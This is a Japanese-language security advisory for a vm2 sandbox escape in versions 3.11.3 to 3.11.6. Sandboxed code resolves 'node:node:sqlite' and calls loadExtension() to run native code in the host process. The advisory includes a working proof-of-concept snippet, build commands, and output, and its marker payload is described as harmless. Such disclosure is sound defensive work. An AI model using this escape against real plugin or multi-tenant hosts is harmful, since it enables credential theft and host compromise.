vm2は、サンドボックス化されたプラグインが、`node:sqlite`を通じてネイティブコードを実行することを可能にします。

### 概要

vm2 3.11.6では、Node.jsのホスト側の`node:sqlite`モジュールが、明示的に許可された場合、または`builtin: ['*']`を介して許可された場合に、`NodeVM`コードに公開されます。このモジュールは読み取り専用としてラップされますが、呼び出し可能なメソッドはホストプロセスの権限を保持します。サンドボックス化されたプラグインは、拡張機能のロードを有効にして、インメモリデータベースを構築し、プラグインディレクトリにバンドルされたネイティブライブラリに対して`DatabaseSync.loadExtension()`を呼び出すことができます。

SQLiteは、このライブラリをNode.jsのホストプロセスにロードし、そのネイティブ拡張のエントリポイントを呼び出します。これにより、信頼できないプラグインがサンドボックス外で任意のネイティブコードを実行できるようになります。

この脆弱性を悪用するには、`node:sqlite`モジュールと、互換性のあるネイティブライブラリが、信頼できないプラグインパッケージに既に存在している必要があります。`fs`、`process`、`module`、`child_process`、`worker_threads`、`vm`、`inspector`、vm2のネスト、または既存のデータベースファイルは必要ありません。

### 詳細

脆弱な境界は、組み込みモジュールのリスト、リゾルバー、ランタイムローダー、および汎用的な読み取り専用ラッパーにまたがっています。

現在のNode.jsのバージョンでは、組み込みモジュールのリストには、リテラル文字列`node:sqlite`が含まれています。vm2は、この名前を明示的に設定した場合、またはワイルドカードの許可リストを拡張した場合に許可します。

```js
const BUILTIN_MODULES = module.builtinModules.filter(/* 拒否リストのチェック */);
```

リゾルバーは、`node:`で始まるすべてのリクエストを、完全なリクエスト文字列が許可リストのキーでなくても、コアモジュールのリクエストとして扱います。

```js
if (x.startsWith('node:') || this.builtins.has(x)) {
return x;
}
```

サンドボックスのランタイムは、`node:`プレフィックスを1つだけ削除し、残りの部分を構成された組み込みモジュールのマップで検索します。

```js
if (filename.startsWith('node:')) {
id = filename.slice(5);
return loadBuiltinModule(id);
}
```

その結果、以下のサンドボックスの参照は、構成されたマップのエントリ`node:sqlite`に解決されます。

```js
require('node:node:sqlite')
```

デフォルトの組み込みローダーは、ホスト環境で実際のモジュールをインポートし、`vm.readonly()`を通じて公開します。

```js
builtins.set(key, vm => vm.readonly(hostRequire(key)));
```

読み取り専用のラッパーは、プロパティの代入を防止します。ただし、危険な実行可能機能は削除しません。`DatabaseSync`および`loadExtension()`への呼び出しは、ホストの実装に転送されます。

完全な攻撃の流れは以下の通りです。

```text
攻撃者が、JavaScriptとネイティブライブラリを含む信頼できないプラグインパッケージを提供する
-> ホストが、`node:sqlite`が許可された状態で、NodeVMでJavaScriptを実行する
-> プラグインが、ホストモジュールを`node:node:sqlite`として解決する
-> プラグインが、`allowExtension`が有効な状態で、メモリ内の`DatabaseSync`を作成する
-> プラグインが、自身の`__dirname`からバンドルされたライブラリのパスを派生させる
-> プラグインが、`database.loadExtension(libraryPath)`を呼び出す
-> vm2が、この呼び出しをホスト側のSQLiteに転送する
-> SQLiteが、ライブラリをNode.jsホストプロセスにロードする
-> SQLiteが、ライブラリのネイティブ拡張のエントリポイントを呼び出す
-> 攻撃者のネイティブコードが、ホストプロセスの権限で実行される
```

パスは、サンドボックス化されたファイルシステムAPIを介して読み取る必要はありません。CommonJSは、すでにプラグイン自身のディレクトリを提供するため、攻撃者は`__dirname`とバンドルされたライブラリの既知の名前を連結することができます。ホストは、JavaScriptを評価する前に、必ず信頼できないプラグインパッケージをディスクに配置します。

### PoC (概念実証)

添付されたPoCは、ローカルで無害です。ネイティブ拡張のエントリポイントは、1つのマーカーファイルを書き込み、成功を返します。プロセスを起動したり、ネットワークサービスに接続したり、他のファイルを変更したりすることはありません。

前提条件:macOS、`node:sqlite`がインストールされたNode.js、npm、およびCコンパイラ。

1. 添付された`poc`ディレクトリを開きます。
2. 影響を受けるパッケージを正確にインストールします。

```bash
npm install --ignore-scripts
```

3. コンパイルして、PoCを実行します。

```bash
npm run poc
```

このスクリプトは、`extension_probe.c`を`libvm2_sqlite_probe.dylib`としてコンパイルし、次に、この制限付き構成で`untrusted-plugin.js`を実行します。

```js
new NodeVM({
console: 'off',
require: { builtin: ['node:sqlite'] },
});
```

サンドボックス化されたプラグインは、以下の処理のみを行います。

```js
const { DatabaseSync } = require('node:node:sqlite');
const database = new DatabaseSync(':memory:', { allowExtension: true });
database.loadExtension(__dirname + '/libvm2_sqlite_probe.dylib');
database.close();
```

脆弱性が存在する結果は以下の通りです。

```json
{
"sandboxResult": {
"nativeExtensionLoaded": true,
"usedOnlySQLiteBuiltin": true
},
"markerExists": true,
"markerText": "VM2_SQLITE_EXTENSION_ENTRYPOINT_EXECUTED"
}
```

このマーカーは、JavaScriptではなく、コンパイルされたネイティブ拡張のエントリポイントから書き込まれています。`loadExtension()`も正常に完了するため、SQLiteがライブラリをロードし、そのエントリポイントを呼び出したことが証明されます。

### 影響

これは、サンドボックスからのエスケープであり、任意のネイティブコードの実行につながります。ネイティブコードは、Node.jsのホストプロセス内で実行され、そのプロセスのオペレーティングシステムとしてのIDと権限を持ちます。これは、vm2のJavaScript、モジュール、およびプロキシのすべての制限を回避します。

攻撃者は、マーカーのみを含む拡張機能を、以下の機能を持つネイティブコードに置き換えることができます。

- ホストアカウントがアクセスできるアプリケーションのシークレット、認証情報、環境変数、およびファイルを読み取る。
- アプリケーションのデータまたは実行可能ファイルを変更し、永続化を確立する。
- ホストのネットワークIDを使用して、内部サービスにアクセスする。
- 同じプロセス内の他のテナントのデータを盗む。
- ホストプロセスを終了または破損させる。
- ホストアカウントに許可されているその他のオペレーティングシステムの操作を実行する。

影響を受ける可能性のある具体的なワークフローは、攻撃者が提供したパッケージの内容を保存し、`NodeVM`内でそのパッケージのJavaScriptを評価しながら、`node:sqlite`またはすべての組み込み機能を使用することを許可する、プラグインプラットフォーム、自動化サービス、ノートブック、ビルドサービス、またはマルチテナントコードランナーです。攻撃者は、既存のホスト実行環境、書き込み可能なデータベース、またはコマンド実行機能を持つ必要はありません。

影響を受けるパッケージ:
- npm (JavaScript) vm2: 影響を受けるバージョンは3.11.3以上、3.11.6以下、3.11.7で修正済み。